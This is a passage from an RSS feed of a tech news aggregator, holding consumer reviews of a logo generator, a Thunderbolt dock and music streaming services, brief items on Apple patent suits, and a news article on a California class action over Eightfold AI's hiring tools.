<guid isPermaLink="true">https://tsecurity.de/de/3243927/ios-mac-os/brandcrowd-review-for-macos-ai-logo-generator-template-tools-tested/</guid>
<pubDate>Fri, 30 Jan 2026 13:07:14 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Designing a logo that actually works on websites, social profiles, business cards, and signage, is harder than it sounds. The problem isn’t creativity; it’s execution: ensuring balance, readability, and adaptability without a background in design. BrandCrowd approaches this by blending template depth with AI-assisted suggestion and customization. Rather than asking users to start with a blank slate or answer long questionnaires, it presents real designs you can tweak, reuse, and export immediately.



In this review, I tested BrandCrowd’s logo maker and AI logo generator on macOS, focusing on how it performs in practice: from discovering initial logo options and adjusting details to exporting files you can use across platforms and understanding what you pay for when you upgrade. 



Table of contentsFirst impressions: browsing and idea discoveryLogo generation quality and the role of AICustomization: shaping logos without chaosExport options and how well files translatePricing and what you pay forPerformance on macOSFinal verdict



First impressions: browsing and idea discovery



When you land on BrandCrowd from a Mac browser, the first task is entering your brand or business name. That’s it. Instead of bombarding you with questions about style preferences, industries, or vibes, BrandCrowd surfaces a wide array of complete logos almost immediately. 







You won’t see a few minor variations of the same concept. Instead, you’ll scroll through fundamentally different layouts, typography treatments, and visual balances.



On macOS, this grid of logo options loads quickly and remains smooth even when filtering by keyword or icon type. Scrolling through dozens or hundreds of concepts doesn’t trigger lag, and opening multiple logo candidates in separate tabs feels natural in a Mac browsing workflow.



Moreover, filters let you refine logo results by visual style, icon type, and color palette, making it easier to cut through the noise and focus on designs that actually fit your brand.







This design-first entry point changes the mindset from “what should I like?” to “what actually works visually?” and helps you make faster choices without agonizing over technical design jargon.



Logo generation quality and the role of AI



BrandCrowd’s AI logo generator doesn’t create designs from abstract shapes or random symbols. Instead, it leans on a large library of professionally designed templates and uses AI to match, recommend, and adapt existing layouts to your brand name and keywords. You still see complete logos, not just icons dropped next to text blocks.







The result feels more curated than some generative tools that deliver generic icons with mismatched fonts. Logos from BrandCrowd tend to have sensible spacing, proportionate text hierarchy, and compositions that work across use cases: from mobile headers to printed materials. Seeing real-world previews and multiple structural directions early helps you avoid falling in love with a concept that won’t scale beyond a favicon or social avatar.



Customization: shaping logos without chaos



Selecting a logo is just the start. BrandCrowd is a logo generator whose editing environment focuses on controlled customization rather than open-ended design play. You can adjust text size, switch colors, choose new fonts, or slide icons around, and the editor takes care of recalibrating spacing and alignment behind the scenes.







That “design safety net” is especially helpful for users without formal training. It means you can experiment without accidentally making something unreadable or badly balanced. That said, it’s not a replacement for vector design software; granular control over kerning or path editing isn’t part of the flow. This is intentional: the platform prioritizes visual stability over unlimited freedom.



Export options and how well files translate



A logo’s usefulness is determined by how you can use it. BrandCrowd exports a robust set of formats compatible with everyday workflows: scalable vectors like SVG and EPS for print or signage, PDFs for stationery or PDFs, and PNG/JPG for digital use. Transparent backgrounds and multiple layout variations (horizontal, centered, icon-only) give you flexibility without bouncing between tools.



On macOS, these files integrate cleanly into apps like Keynote, Pages, or even third-party editors like Affinity Designer and Adobe Illustrator. You can drop a vector SVG right into a web project or scale up an EPS for a poster without losing clarity.



Licensing is straightforward: paid downloads come with commercial rights, and if you want exclusivity, removing the logo’s template from future use by others, that’s an extra option you can select during checkout.



Pricing and what you pay for



BrandCrowd lets you design and modify logos without paying anything until you’re ready to download the final files. The pricing structure is tiered and designed to accommodate different needs:




The free tier lets you explore designs, make customizations, and see how final logos might look. You only pay when you decide to export files you plan to use publicly.



Paid plans on annual billing start at $5 per month for the Premium Logo Pack, which includes high-resolution and vector logo files, unlimited edits, and access to the broader design tool library.



If you want to pair logo creation with a basic website builder, the next tier typically runs $6 per month when billed annually and bundles both branding and site tools.








Choosing annual billing represents significant savings compared with month-to-month, and the ecosystem includes more than just logo files: you get business card templates, social graphics, and access to over 50 design tools that match your logo’s visual identity.



This setup makes it easy to test the platform and only pay once you’re confident the logo you’ve designed matches your vision and practical needs.



Performance on macOS



Because BrandCrowd is web-based, its performance on macOS comes down to how well it plays with Safari and Chrome. In my testing, the site responded quickly, drag-and-drop felt natural, and editing didn’t induce the stutters or input lag that can make browser editors feel clunky.



Downloads happen instantly, and macOS handles all exported formats without complaints. Whether you’re dropping an SVG into a web project or previewing a high-res PDF for print, the experience feels native rather than patched together.



For users who prefer browser tools over native apps but still expect professional results, BrandCrowd hits a sweet spot: simple enough to navigate easily, and powerful enough to produce outputs that stand up in professional contexts.



Final verdict



BrandCrowd tackles two of the hardest parts of DIY branding: helping non-designers see good options early, and then letting them refine without breaking the design. Its use of template-driven logos combined with AI suggestions feels practical rather than flashy, and the result is a workflow that gets you from idea to finished files with minimal friction.



For macOS users who value speed, visual stability, and usable exports over endless design freedom, BrandCrowd provides a grounded, no-nonsense path from concept to real-world application. If you’re ready to evolve beyond low-quality DIY logos and want something that works across digital and print, it’s one of the more reliable browser-based logo tools you can choose in 2026. ]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Music vs. Spotify: The Battle of Audio Streaming Services]]></title>
<description><![CDATA[For the better part of a decade, the choice between Apple Music and Spotify felt like a personality test. Are you an iPhone loyalist who values pristine audio, or are you a social listener who lives for the perfect playlist?



In 2026, the landscape has shifted dramatically. Spotify recently hik...]]></description>
<link>https://tsecurity.de/de/3240740/ios-mac-os/apple-music-vs-spotify-the-battle-of-audio-streaming-services/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3240740/ios-mac-os/apple-music-vs-spotify-the-battle-of-audio-streaming-services/</guid>
<pubDate>Thu, 29 Jan 2026 02:36:11 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[For the better part of a decade, the choice between Apple Music and Spotify felt like a personality test. Are you an iPhone loyalist who values pristine audio, or are you a social listener who lives for the perfect playlist?



In 2026, the landscape has shifted dramatically. Spotify recently hiked its prices again, making it the more expensive option, while Apple Music has held steady, creating a significant value gap. Additionally, Spotify has finally closed the "quality gap" by launching Lossless audio, but it still lacks some of Apple's high-end features.



If you are torn between the two giants, here is the detailed breakdown to help you decide where to spend your monthly budget.



Table of contentsThe Quick VerdictComparison at a Glance1. Price and Plans: Apple is Now the Budget Choice2. Audio Quality: The Gap Has Narrowed3. Music Discovery: The Ghost in the Machine4. The User Experience: Clean vs. Cluttered5. Extra Features: The "Nice-to-Haves"Which One Should You Choose?Final VerdictFAQs



The Quick Verdict




Best for Value &amp; Audiophiles: Apple Music. It is now significantly cheaper than Spotify (especially for families) and offers superior Hi-Res audio and Spatial Audio features. If you are considering other alternatives, then check out our comparison of Apple Music and YouTube Music.



Best for Music Discovery &amp; Social: Spotify. Despite the higher price, its algorithms (like Daylist) are unrivaled, and features like "Jam" make it the king of social sharing.




Comparison at a Glance



FeatureApple MusicSpotifyIndividual Price$10.99/mo$12.99/moFamily Price$16.99/mo$21.99/moFree PlanNo (Trial only)Yes (Ad-supported)Max Audio Quality24-bit/192kHz (Hi-Res)24-bit/44.1kHz (Lossless)Spatial AudioDolby Atmos (Included)NonePodcastsSeparate AppIntegrated into Feed



1. Price and Plans: Apple is Now the Budget Choice







In a surprising twist for 2026, Apple Music is the clear winner for budget-conscious subscribers.




Spotify has raised its US prices to $12.99/month for individuals and a steep $21.99/month for families. While they still offer a unique Duo plan ($18.99) for couples, the costs have crept up significantly. However, Spotify retains its famous Free Tier, allowing you to listen indefinitely if you can tolerate ads and shuffle-play on mobile.



Apple Music remains at $10.99/month for individuals. The difference is massive for families: Apple's Family Plan is $16.99/month, which is $5 cheaper per month than Spotify’s equivalent. Furthermore, the Apple One bundle makes the service virtually free for users who already subscribe to iCloud or Apple TV+.




Winner: Apple Music (for paid users); Spotify (for free users).



2. Audio Quality: The Gap Has Narrowed



For years, Spotify lagged behind, but as of late 2025, it finally caught up, mostly.




Spotify now offers Lossless Audio to Premium subscribers at no extra cost. This streams at 24-bit/44.1kHz (CD quality), which sounds fantastic on standard equipment. However, Spotify still lacks Spatial Audio, meaning you miss out on the immersive 3D surround sound experience.



Apple Music still holds the technical crown. It supports Hi-Res Lossless up to 24-bit/192kHz—significantly higher quality than Spotify’s cap, though you need wired equipment to hear the difference. More importantly, it includes Dolby Atmos (Spatial Audio), which creates a noticeable "surround sound" effect on AirPods and home theater systems.




Winner: Apple Music (due to Hi-Res &amp; Spatial Audio).



3. Music Discovery: The Ghost in the Machine







If audio quality is Apple's fortress, algorithms are Spotify's kingdom.




Spotify excels at predicting what you want to hear. The "Discover Weekly" playlist is frighteningly accurate, and the viral "Daylist" feature updates multiple times a day with hyper-specific vibes (e.g., "moody goblin-core tuesday afternoon").



Apple Music relies more on human curation. It's "New Music Mix" and radio stations are solid, but they feel like a knowledgeable DJ recommending tracks rather than an AI that reads your mind. It is excellent for finding hits, but less effective at uncovering niche gems tailored specifically to you.




Winner: Spotify.



4. The User Experience: Clean vs. Cluttered








Apple Music is designed for the "collector." It separates your Library (saved music) from the Catalog (browsing). Podcasts are banished to a separate app, ensuring your album lists aren't cluttered with true-crime episodes.



Spotify embraces a "feed" mentality. The Home screen is a busy mix of music, podcasts, and audiobooks. While the app is fast, the integration of non-music content can be annoying if you just want to listen to tunes. However, Spotify’s "Connect" feature is a masterpiece, allowing you to seamlessly hand off playback to a TV, PlayStation, or smart speaker without a skip.




Winner: Tie (Apple for organization; Spotify for connectivity).



5. Extra Features: The "Nice-to-Haves"




Sing (Apple): A built-in karaoke mode that lowers vocals and shows beat-by-beat lyrics.



Classical (Apple): A standalone app included for free that handles complex classical metadata far better than Spotify.



Social (Spotify): Spotify allows you to see what friends are listening to live (on desktop), create "Blend" playlists that merge your tastes, and start "Jams" where everyone at a party controls the queue.




Which One Should You Choose?



Choose Spotify ($12.99/mo) if:




You prioritize the best music discovery algorithms and "Daylist" vibes.



You want a service with a Free Tier.



You love sharing playlists and social features like "Jam" and "Blend".



You use a wide mix of hardware (Android, Alexa, Xbox, Windows) and need Spotify Connect.




Choose Apple Music ($10.99/mo) if:




You want to save money—it is $2/month cheaper for individuals and $5/month cheaper for families.



You are deep in the Apple Ecosystem (iPhone, Mac, HomePod).



You care about immersive audio (Dolby Atmos) or own high-end wired audio gear for 192kHz Hi-Res support.



You want a library that is strictly for music, without podcasts mixed in.




Final Verdict



In 2026, Apple Music has objectively become the smarter financial choice. It offers higher technical fidelity and deep ecosystem integration for a significantly lower price. However, Spotify remains the "cooler" product. Its superior algorithms and social features keep millions of users loyal despite the price hikes.



If you want the best deal, pick Apple. If you want the best recommendations, stick with Spotify.



FAQs



Can I transfer my playlists? Yes, but not natively. You will need to use third-party transfer tools like Soundiiz or TuneMyMusic to migrate your library between services.  Does Apple Music work on Android? Yes. Apple offers a fully featured Android app that includes the same Lossless and Spatial Audio features found on the iOS version.  Which service pays artists more? Historically, Apple Music pays a higher royalty rate per stream (roughly $0.01) compared to Spotify (roughly $0.003 - $0.005), though total payouts depend on the artist's contract.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft said my Windows 10 PC no longer supported updates - but this software saved it]]></title>
<description><![CDATA[0patch provides crucial security updates for Windows 10 and fills the support gap left by Microsoft. Here's my verdict after months of use.]]></description>
<link>https://tsecurity.de/de/3233863/it-nachrichten/microsoft-said-my-windows-10-pc-no-longer-supported-updates-but-this-software-saved-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3233863/it-nachrichten/microsoft-said-my-windows-10-pc-no-longer-supported-updates-but-this-software-saved-it/</guid>
<pubDate>Mon, 26 Jan 2026 03:16:36 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[0patch provides crucial security updates for Windows 10 and fills the support gap left by Microsoft. Here's my verdict after months of use.]]></content:encoded>
</item>
<item>
<title><![CDATA[Workers challenge ‘hidden’ AI hiring tools in class action with major regulatory stakes.]]></title>
<description><![CDATA[Workers are getting fed up with AI-based hiring practices.



A new class action lawsuit filed in California alleges that human candidates are being unfairly profiled by “hidden” AI hiring technologies that “lurk in the background” to collect “sensitive and often inaccurate” information about “un...]]></description>
<link>https://tsecurity.de/de/3229281/it-security-nachrichten/workers-challenge-hidden-ai-hiring-tools-in-class-action-with-major-regulatory-stakes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3229281/it-security-nachrichten/workers-challenge-hidden-ai-hiring-tools-in-class-action-with-major-regulatory-stakes/</guid>
<pubDate>Fri, 23 Jan 2026 02:05:27 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Workers are getting fed up with AI-based hiring practices.</p>



<p>A new class action lawsuit filed in California alleges that human candidates are being unfairly profiled by “hidden” AI hiring technologies that “lurk in the background” to collect “sensitive and often inaccurate” information about “unsuspecting” job applicants.</p>



<p>The suit specifically targets Eightfold AI, claiming that tools used by the company should be regulated in the same way as credit report bureaus are via The Fair Credit Reporting Act (FCRA) and state laws based on it.</p>



<p>The case could have broad-reaching implications for the increased <a href="https://www.cio.com/article/4108112/when-hiring-ai-skills-focus-on-critical-thinking.html" target="_blank">use of AI in hiring</a>.</p>



<p>“This lawsuit is a pivot point,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="nofollow">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “It tells us that AI isn’t just being scrutinized for what it does, but for how it does it and whether people even know it’s happening to them.”</p>



<h2 class="wp-block-heading">Violating the 55-year-old FCRA</h2>



<p>The suit was filed in the Superior Court of California by New York City-based law firm Outten &amp; Golden LLP, on behalf of Erin Kistler and Sruti Bhaumik. The plaintiffs claim they were barred from employment on several occasions by companies using <a href="https://www.cio.com/article/4104791/ai-fosters-distrust-for-both-tech-candidate-and-employer.html" target="_blank">AI-based hiring tools</a>.</p>



<p>The class action complaint asserts that Eightfold AI violated federal and state fair credit and consumer reporting acts and unfair competition laws by collecting data on applicants and selling reports to companies for use in employment decision-making. These practices “can have profound consequences” for job-seekers across the US, the lawsuit claims.</p>



<p>Eightfold markets itself as the “world’s largest, self-refreshing source of talent data” and incorporates more than 1.5 billion global data points, including job titles and worker profiles across “every job, profession, [and] industry.” It counts among its customers corporate giants including Microsoft, Morgan Stanley, Starbucks, BNY, Paypal, Chevron, and Bayer. </p>



<p>The suit claims the Santa Clara-based company’s proprietary large language model (LLM) and deep learning-based technology analyze data from public resources including career sites, job boards, and resumé databases such as LinkedIn and Crunchbase. It also culls information from social media profiles, applicant locations, and behind-the-scenes tracking tools. None of these personal data points are ever included in job applications.</p>



<p>AI algorithms then rank a candidate’s “suitability” on a numerical scale of 0 to 5, based on “conclusions, inferences, and assumptions” about their culture fit, projected future career trajectory, and other factors. This method is intended to create a profile of the candidate’s “behavior, attitudes, intelligence, aptitudes, and other characteristics,” according to the lawsuit.</p>



<p>However, these reports are “unreviewable” and “largely invisible” to candidates, who have no opportunity to dispute their contents before they are passed on to hiring managers, the plaintiffs argue. “Lower-ranked candidates are often discarded before a human being ever looks at their application.”</p>



<p>This method of report creation violates longstanding FCRA requirements, and there is no stipulated exemption for AI use, according to the suit.</p>



<p>The FCRA broadly defines consumer reports as any written, oral, or other communication from a consumer reporting agency that includes information on a person to determine their access to credit and insurance, as well as for “employment purposes.” According to the lawsuit, this definition covers reports that contain information on “habits, morals, and life experiences.”</p>



<p>Plaintiffs argue that, while automated screening technology did not exist when the FCRA was established in 1970, lawmakers at the time expressed concern about growing accessibility to consumer information through computer and data-transmission techniques, and that “impersonal blips,” inaccurate data, and analysis by “stolid and unthinking machines” could unfairly bar people from employment.</p>



<p>Thus, the lawsuit argues, agencies like Eightfold must disclose their practices, obtain certifications, and give consumers a mechanism to review and correct reports. “Large-scale decision-making based on opaque information is exactly the kind of harm the statute was designed to address.”</p>



<p>Neither the lawyers for the plaintiffs nor for the defendants responded to requests for comment. The Society for Human Resource Management (SHRM) also declined to comment.</p>



<h2 class="wp-block-heading">Defensibility becomes the new bar</h2>



<p>This lawsuit exposes a “governance failure” and “fundamental accountability gap,” noted Greyhound’s Gogia.</p>



<p>And it’s not the first, nor will it likely be the last; HR company Workday, for instance, is <a href="https://www.lawandtheworkplace.com/2025/06/ai-bias-lawsuit-against-workday-reaches-next-stage-as-court-grants-conditional-certification-of-adea-claim/" target="_blank" rel="nofollow">facing a lawsuit</a> alleging that its AI-powered hiring tools make decisions based on race, and also discriminate against older and disabled applicants.</p>



<p>If courts agree that AI evaluations function like credit reports, hiring will be pushed into regulated territory, Gogia noted; this means CIOs must establish clarity and set rules around notification, transparency, audit rights, and contestability.</p>



<p>“If your hiring tools operate like decision engines, they need to be governed like decision infrastructure,” he said. And when they influence employment decisions, enterprises will have to prove they’ve done their homework. This means showing the logic behind a model, understanding data provenance, and being able to explain why an applicant was rejected and the processes they have in place to correct bad calls.</p>



<p>“Defensibility will become the new bar,” said Gogia.</p>



<h2 class="wp-block-heading">Where AI hiring helps, where it hurts</h2>



<p>That’s not to say that AI can’t be valuable in hiring; many real-world examples have proven that it can. The Human Resources Professionals Association, for one, points to <a href="https://www.hrpa.ca/hr-insights/navigating-the-use-of-artificial-intelligence-in-recruitment/" target="_blank" rel="nofollow">successful use of AI</a> in initial talent sourcing, screening, and assessment, while AI scribes can quietly take notes, helping recruiters focus more intently on candidate discussions.</p>



<p>Gogia agreed that AI can filter and rank large applicant pools, automate repetitive HR tasks, and identify overlooked candidates within internal databases. This means hiring teams can move faster, hone their focus, be more consistent, and reduce friction.</p>



<p>“But the moment AI moves into judgement territory, things get messy,” he emphasized. Scoring personality traits, predicting future roles, or evaluating the quality of a candidate’s education are all “subjective inferences dressed up as mathematical objectivity.”</p>



<p>Gogia advises clients to insist on human-readable evidence from vendors, including logs, bias audits, and disclosures about model updates. They should ask questions like: What did the model evaluate? Why did it rank one candidate higher over another? What can the hiring manager say if asked to justify that outcome?</p>



<p>The answers to those questions can lead to process changes. One of Greyhound’s European manufacturing clients, for instance, redesigned its hiring pipeline so that managers had to log a rationale at every decision point, even if AI had already created a shortlist. This helped improve the audit trail, catch errors, and taught the team to “treat AI as input, not verdict,” Gogia noted. And another client slowed its final screening process for senior hires because it couldn’t defend the decisions AI was influencing and realized the system wouldn’t be able to survive scrutiny.</p>



<p>“CIOs, CHROs, legal, risk — all need to co-own this now,” said Gogia. “That starts by restoring the human’s role as an accountable actor, not just a passive observer. The future of hiring tech is human with machine, governed from day one.”</p>



<p><em>This article originally appeared on <a href="https://www.computerworld.com/article/4121074/workers-challenge-hidden-ai-hiring-tools-in-class-action-with-major-regulatory-stakes.html" target="_blank">Computerworld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HDR10 vs. HDR 10+ vs. Dolby Vision: I compared the popular TV formats, and here's my verdict]]></title>
<description><![CDATA[Confused by HDR10, HDR10+, and Dolby Vision? Here's how to pick the best HDR format for your TV.]]></description>
<link>https://tsecurity.de/de/3226316/it-nachrichten/hdr10-vs-hdr-10-vs-dolby-vision-i-compared-the-popular-tv-formats-and-heres-my-verdict/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3226316/it-nachrichten/hdr10-vs-hdr-10-vs-dolby-vision-i-compared-the-popular-tv-formats-and-heres-my-verdict/</guid>
<pubDate>Wed, 21 Jan 2026 17:02:06 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Confused by HDR10, HDR10+, and Dolby Vision? Here's how to pick the best HDR format for your TV.]]></content:encoded>
</item>
<item>
<title><![CDATA[I tested 5 products that promised to fix my slow Wi-Fi - here's my verdict if you need an upgrade]]></title>
<description><![CDATA[Reliable Wi-Fi is a must in 2026. If your connection's failing you, these five products won't.]]></description>
<link>https://tsecurity.de/de/3225640/it-nachrichten/i-tested-5-products-that-promised-to-fix-my-slow-wi-fi-heres-my-verdict-if-you-need-an-upgrade/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3225640/it-nachrichten/i-tested-5-products-that-promised-to-fix-my-slow-wi-fi-heres-my-verdict-if-you-need-an-upgrade/</guid>
<pubDate>Wed, 21 Jan 2026 13:01:45 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Reliable Wi-Fi is a must in 2026. If your connection's failing you, these five products won't.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple FaceTime Eye Contact feature hit by patent troll in EU court]]></title>
<description><![CDATA[Apple has been accused of infringing on a European patent covering gaze correction, the feature used to correct a user's eye line in FaceTime calls.FaceTime can correct your gaze so it looks like you're looking directly at the other caller. Apple is frequently the subject of patent infringement l...]]></description>
<link>https://tsecurity.de/de/3224323/ios-mac-os/apple-facetime-eye-contact-feature-hit-by-patent-troll-in-eu-court/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3224323/ios-mac-os/apple-facetime-eye-contact-feature-hit-by-patent-troll-in-eu-court/</guid>
<pubDate>Tue, 20 Jan 2026 20:21:26 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has been accused of infringing on a European patent covering gaze correction, the feature used to correct a user's eye line in <a href="https://appleinsider.com/inside/facetime" title="FaceTime" data-kpt="1">FaceTime</a> calls.<br><br><div><img src="https://photos5.appleinsider.com/gallery/66419-139289-37928-71635-000-lead-Eye-Contact-xl-xl.jpg" alt="Older man on video calls, with a smartphone in front showing an extreme close-up of his intense blue eyes, creating a layered, slightly distorted technology-focused portrait" height="485"><br><span>FaceTime can correct your gaze so it looks like you're looking directly at the other caller. </span></div><br>Apple is frequently the subject of patent infringement lawsuits, often over major technology features such as its continued battle <a href="https://appleinsider.com/articles/25/11/15/masimo-awarded-634m-in-apple-watch-patent-infringement-verdict">with Masimo</a> over the <a href="https://appleinsider.com/inside/apple-watch" title="Apple Watch" data-kpt="1">Apple Watch</a>. However, sometimes it is caught out by attempts to sue over its smallest features.<br><br>In a lawsuit that started via a complaint with the Unified Patent Court on December 5, EyesMatch accuses Apple of infringing patent EP2,936,439, <a href="https://ipfray.com/apple-gets-sued-in-unified-patent-court-by-eyesmatch-facing-potential-injunction-in-approx-10-european-countries-eyesmatch-settled-with-microsoft-samsung/">reports</a> <em>IP Fray</em>. At the same time, EyesMatch is also taking on Nvidia over the same patent.<br><br><br> <a href="https://appleinsider.com/articles/26/01/20/apple-facetime-eye-contact-feature-hit-by-patent-troll-in-eu-court?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/243099?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple under legal attack over fall detection tech]]></title>
<description><![CDATA[Fall detection wearable specialist UnaliWear says that Apple Watch and just about every other smartwatch ever made infringes on its fall detection patents. It's in for a long and costly battle.Fall Detection on Apple WatchThere have been many patent disputes over the Apple Watch, including ones b...]]></description>
<link>https://tsecurity.de/de/3224023/ios-mac-os/apple-under-legal-attack-over-fall-detection-tech/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3224023/ios-mac-os/apple-under-legal-attack-over-fall-detection-tech/</guid>
<pubDate>Tue, 20 Jan 2026 17:50:21 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Fall detection wearable specialist UnaliWear says that <a href="https://appleinsider.com/inside/apple-watch" title="Apple Watch" data-kpt="1">Apple Watch</a> and just about every other smartwatch ever made infringes on its fall detection patents. It's in for a long and costly battle.<br><br><div><img src="https://photos5.appleinsider.com/gallery/66416-139284-000-lede-fall-xl.jpg" alt="Apple Watch on a wrist showing the Fall Detection settings screen, with the feature toggle turned on and options including Always on and Only on during workouts" height="720"><br><span>Fall Detection on Apple Watch</span></div><br>There have been many patent disputes over the Apple Watch, including ones by <a href="https://appleinsider.com/articles/17/03/17/infamous-patent-troll-soverain-software-targets-apple-products-and-services-in-new-lawsuit">patent trolls</a>, and more famously by health firm Masimo. That company recently won <a href="https://appleinsider.com/articles/25/11/15/masimo-awarded-634m-in-apple-watch-patent-infringement-verdict">$634 million</a> at trial, after initially complaining to the US International Trade Commission (USITC).<br><br>UnaliWear of Austin, Texas, has <a href="https://www.usitc.gov/secretary/fed_reg_notices/337/337_1477_notice01082026sgl.pdf">now complained</a> to the USITC, specifically over fall detection. The company maintains that its patents have been infringed by:<br><br><br> <a href="https://appleinsider.com/articles/26/01/20/apple-under-legal-attack-over-fall-detection-tech?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/243097?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Do these cheap car de-icing gadgets actually work? My verdict after testing one in the winter cold]]></title>
<description><![CDATA[Let's take an inside look at one of the latest viral gadgets on social media.]]></description>
<link>https://tsecurity.de/de/3217749/it-nachrichten/do-these-cheap-car-de-icing-gadgets-actually-work-my-verdict-after-testing-one-in-the-winter-cold/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3217749/it-nachrichten/do-these-cheap-car-de-icing-gadgets-actually-work-my-verdict-after-testing-one-in-the-winter-cold/</guid>
<pubDate>Fri, 16 Jan 2026 19:01:45 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Let's take an inside look at one of the latest viral gadgets on social media.]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Maps vs. Waze: I compared the two best navigation apps, and this one wins easily]]></title>
<description><![CDATA[The debate between Waze and Google Maps has raged for years. Here's my verdict after testing both for an extensive period.]]></description>
<link>https://tsecurity.de/de/3217029/hacking/google-maps-vs-waze-i-compared-the-two-best-navigation-apps-and-this-one-wins-easily/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3217029/hacking/google-maps-vs-waze-i-compared-the-two-best-navigation-apps-and-this-one-wins-easily/</guid>
<pubDate>Fri, 16 Jan 2026 12:50:26 +0100</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The debate between Waze and Google Maps has raged for years. Here's my verdict after testing both for an extensive period.]]></content:encoded>
</item>
<item>
<title><![CDATA[Is a $500 smart nugget ice maker worth it? My verdict after upgrading my kitchen with one]]></title>
<description><![CDATA[The newest nugget ice maker by Govee comes in a flashy package, but does it actually make good ice?]]></description>
<link>https://tsecurity.de/de/3215445/it-nachrichten/is-a-500-smart-nugget-ice-maker-worth-it-my-verdict-after-upgrading-my-kitchen-with-one/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3215445/it-nachrichten/is-a-500-smart-nugget-ice-maker-worth-it-my-verdict-after-upgrading-my-kitchen-with-one/</guid>
<pubDate>Thu, 15 Jan 2026 17:46:23 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The newest nugget ice maker by Govee comes in a flashy package, but does it actually make good ice?]]></content:encoded>
</item>
<item>
<title><![CDATA[Is Govee's new nugget ice maker worth its $500 premium price tag? Here's my verdict a few weeks in]]></title>
<description><![CDATA[The newest nugget ice maker comes in a flashy package, but does it actually make good ice?]]></description>
<link>https://tsecurity.de/de/3214252/hacking/is-govees-new-nugget-ice-maker-worth-its-500-premium-price-tag-heres-my-verdict-a-few-weeks-in/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3214252/hacking/is-govees-new-nugget-ice-maker-worth-its-500-premium-price-tag-heres-my-verdict-a-few-weeks-in/</guid>
<pubDate>Thu, 15 Jan 2026 09:04:53 +0100</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The newest nugget ice maker comes in a flashy package, but does it actually make good ice?]]></content:encoded>
</item>
<item>
<title><![CDATA[iVANKY FusionDock Max 2 Review: A Thunderbolt 5 Dock for MacBook that Delivers a Punch]]></title>
<description><![CDATA[The promise of Thunderbolt 5 — unrivaled bandwidth, faster transfers, and truly capable multi-monitor support — has finally arrived in a docking solution that makes everyday MacBook use feel complete. The iVANKY FusionDock Max 2 isn’t just another USB-C hub; it’s a Thunderbolt 5 MacBook Dock engi...]]></description>
<link>https://tsecurity.de/de/3214194/ios-mac-os/ivanky-fusiondock-max-2-review-a-thunderbolt-5-dock-for-macbook-that-delivers-a-punch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3214194/ios-mac-os/ivanky-fusiondock-max-2-review-a-thunderbolt-5-dock-for-macbook-that-delivers-a-punch/</guid>
<pubDate>Thu, 15 Jan 2026 08:37:25 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The promise of Thunderbolt 5 — unrivaled bandwidth, faster transfers, and truly capable multi-monitor support — has finally arrived in a docking solution that makes everyday MacBook use feel complete. The iVANKY FusionDock Max 2 isn’t just another USB-C hub; it’s a Thunderbolt 5 MacBook Dock engineered for power users, professionals, and creative workflows that demand more than a single screen and a couple of ports.



For anyone who has wrestled with dongles, splitters, and half-baked docking solutions, the FusionDock Max 2 offers a game-changing desktop experience. Over weeks of daily use with my 2023 MacBook Pro (M2 Pro), it reshaped how I work — from cable management to display performance, from peripheral connectivity to power delivery.







This review explores every detail: design, specs, performance, real-world usability, limitations, and how it compares to other high-end docks you might be considering.



